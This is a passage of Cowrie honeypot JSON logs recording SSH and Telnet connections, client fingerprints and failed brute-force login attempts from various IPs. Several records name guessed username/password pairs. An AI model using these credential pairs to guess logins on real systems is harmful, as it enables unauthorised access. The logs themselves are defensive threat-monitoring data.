2-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:07.299475Z","src_ip":"159.65.58.200","session":"bc788f09eb94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"schtmavr","password":"123456","message":"login attempt [schtmavr/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:08.513931Z","src_ip":"159.65.58.200","session":"bc788f09eb94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":46086,"dst_ip":"159.203.135.109","dst_port":22,"session":"05063739b41b","protocol":"ssh","message":"New connection: 62.133.62.83:46086 (159.203.135.109:22) [session: 05063739b41b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:09.035945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:09.039736Z","src_ip":"62.133.62.83","session":"05063739b41b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:09.118056Z","src_ip":"62.133.62.83","session":"05063739b41b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yjdsq","message":"login attempt [root/yjdsq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:09.357614Z","src_ip":"62.133.62.83","session":"05063739b41b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:09.807484Z","src_ip":"159.65.58.200","session":"bc788f09eb94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:10.441399Z","src_ip":"62.133.62.83","session":"05063739b41b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.147453546524048,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:12.973942Z","src_ip":"34.79.13.98","session":"8516e20acc58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.305529356002808,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:12.977833Z","src_ip":"34.79.13.98","session":"584d385df2c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.929068565368652,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:12.997733Z","src_ip":"34.79.13.98","session":"25c3d79ac503","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.086477994918823,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:13.001603Z","src_ip":"34.79.13.98","session":"41757097d159","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.39769434928894,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:13.003961Z","src_ip":"34.79.13.98","session":"2a1de2606065","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.554442644119263,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:13.006512Z","src_ip":"34.79.13.98","session":"c2ba31a41479","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.867312669754028,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:13.008834Z","src_ip":"34.79.13.98","session":"8bc76327d707","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.714770793914795,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:13.012565Z","src_ip":"34.79.13.98","session":"0dbfb731888f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.029397010803223,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:13.014808Z","src_ip":"34.79.13.98","session":"8ec0205d7ced","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60284,"dst_ip":"10.17.0.5","dst_port":22,"session":"46ab0cd02573","protocol":"ssh","message":"New connection: 8.210.75.243:60284 (10.17.0.5:22) [session: 46ab0cd02573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:13.902921Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":55032,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e93425f7107","protocol":"ssh","message":"New connection: 198.1.93.192:55032 (10.17.0.5:22) [session: 6e93425f7107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:14.106112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:14.108881Z","src_ip":"198.1.93.192","session":"6e93425f7107","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:14.190881Z","src_ip":"198.1.93.192","session":"6e93425f7107","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1ttr3x$S3cur3@W0rd","message":"login attempt [root/B1ttr3x$S3cur3@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:14.442565Z","src_ip":"198.1.93.192","session":"6e93425f7107","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:17.101031Z","src_ip":"8.210.75.243","session":"46ab0cd02573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:19.801432Z","src_ip":"198.1.93.192","session":"6e93425f7107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:27.378243Z","src_ip":"8.210.75.243","session":"6f31cc100c85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.263888120651245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:31.447704Z","src_ip":"170.64.224.25","session":"1fd41939d971","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.29.214.161","src_port":38980,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bcb35ad448c","protocol":"ssh","message":"New connection: 14.29.214.161:38980 (10.17.0.5:22) [session: 9bcb35ad448c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:34.650702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:34.654649Z","src_ip":"14.29.214.161","session":"9bcb35ad448c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:34.899163Z","src_ip":"14.29.214.161","session":"9bcb35ad448c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"12345","message":"login attempt [deploy/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:35.907510Z","src_ip":"14.29.214.161","session":"9bcb35ad448c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:37.154651Z","src_ip":"14.29.214.161","session":"9bcb35ad448c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:39.246459Z","src_ip":"8.210.75.243","session":"7d5972942ab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":54216,"dst_ip":"10.17.0.5","dst_port":22,"session":"24abf9f1b370","protocol":"ssh","message":"New connection: 103.82.20.28:54216 (10.17.0.5:22) [session: 24abf9f1b370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:50.411575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:50.415157Z","src_ip":"103.82.20.28","session":"24abf9f1b370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:50.680124Z","src_ip":"103.82.20.28","session":"24abf9f1b370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101281","message":"login attempt [root/101281] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:51.476935Z","src_ip":"103.82.20.28","session":"24abf9f1b370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:52.747293Z","src_ip":"103.82.20.28","session":"24abf9f1b370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48042,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aadd06e290b","protocol":"telnet","message":"New connection: 170.64.224.25:48042 (159.203.135.109:23) [session: 2aadd06e290b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:53.957018Z"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":58586,"dst_ip":"159.203.135.109","dst_port":23,"session":"5af842a7d599","protocol":"telnet","message":"New connection: 183.91.11.226:58586 (159.203.135.109:23) [session: 5af842a7d599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:59.504094Z"}
{"eventid":"cowrie.session.closed","duration":0.004876375198364258,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:07:59.508848Z","src_ip":"183.91.11.226","session":"5af842a7d599","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":54626,"dst_ip":"159.203.135.109","dst_port":22,"session":"156082b121f6","protocol":"ssh","message":"New connection: 198.57.219.18:54626 (159.203.135.109:22) [session: 156082b121f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:08:07.867543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:08:07.870923Z","src_ip":"198.57.219.18","session":"156082b121f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:08:07.958993Z","src_ip":"198.57.219.18","session":"156082b121f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bybit456","message":"login attempt [root/bybit456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:08:08.227189Z","src_ip":"198.57.219.18","session":"156082b121f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:08:09.318402Z","src_ip":"198.57.219.18","session":"156082b121f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:08:20.911792Z","src_ip":"8.210.75.243","session":"efc4864bbd9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44042,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7105383b2ff","protocol":"ssh","message":"New connection: 8.210.75.243:44042 (10.17.0.5:22) [session: f7105383b2ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:08:21.977616Z"}
{"eventid":"cowrie.session.closed","duration":40.22001910209656,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:08:34.176924Z","src_ip":"170.64.224.25","session":"2aadd06e290b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:08:40.833430Z","src_ip":"8.210.75.243","session":"600ed832bdab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46394,"dst_ip":"159.203.135.109","dst_port":23,"session":"352c4a1174bc","protocol":"telnet","message":"New connection: 170.64.224.25:46394 (159.203.135.109:23) [session: 352c4a1174bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:08:43.728588Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56256,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd5ac7a58ca","protocol":"ssh","message":"New connection: 8.210.75.243:56256 (10.17.0.5:22) [session: ebd5ac7a58ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:08:55.127374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:08:55.131267Z","src_ip":"8.210.75.243","session":"ebd5ac7a58ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55382,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f2992585669","protocol":"telnet","message":"New connection: 170.64.224.25:55382 (159.203.135.109:23) [session: 8f2992585669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:08:56.636632Z"}
{"eventid":"cowrie.session.closed","duration":120.00192618370056,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:03.957744Z","src_ip":"170.64.224.25","session":"a3004c2b46d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40118,"dst_ip":"10.17.0.5","dst_port":22,"session":"db0d394caefd","protocol":"ssh","message":"New connection: 8.210.75.243:40118 (10.17.0.5:22) [session: db0d394caefd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:06.591011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:06.596089Z","src_ip":"8.210.75.243","session":"db0d394caefd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:13.907933Z","src_ip":"8.210.75.243","session":"46ab0cd02573","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":46586,"dst_ip":"10.17.0.5","dst_port":22,"session":"7971a9a09333","protocol":"ssh","message":"New connection: 91.92.40.4:46586 (10.17.0.5:22) [session: 7971a9a09333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:22.777867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:09:22.781292Z","src_ip":"91.92.40.4","session":"7971a9a09333","protocol":"ssh"}
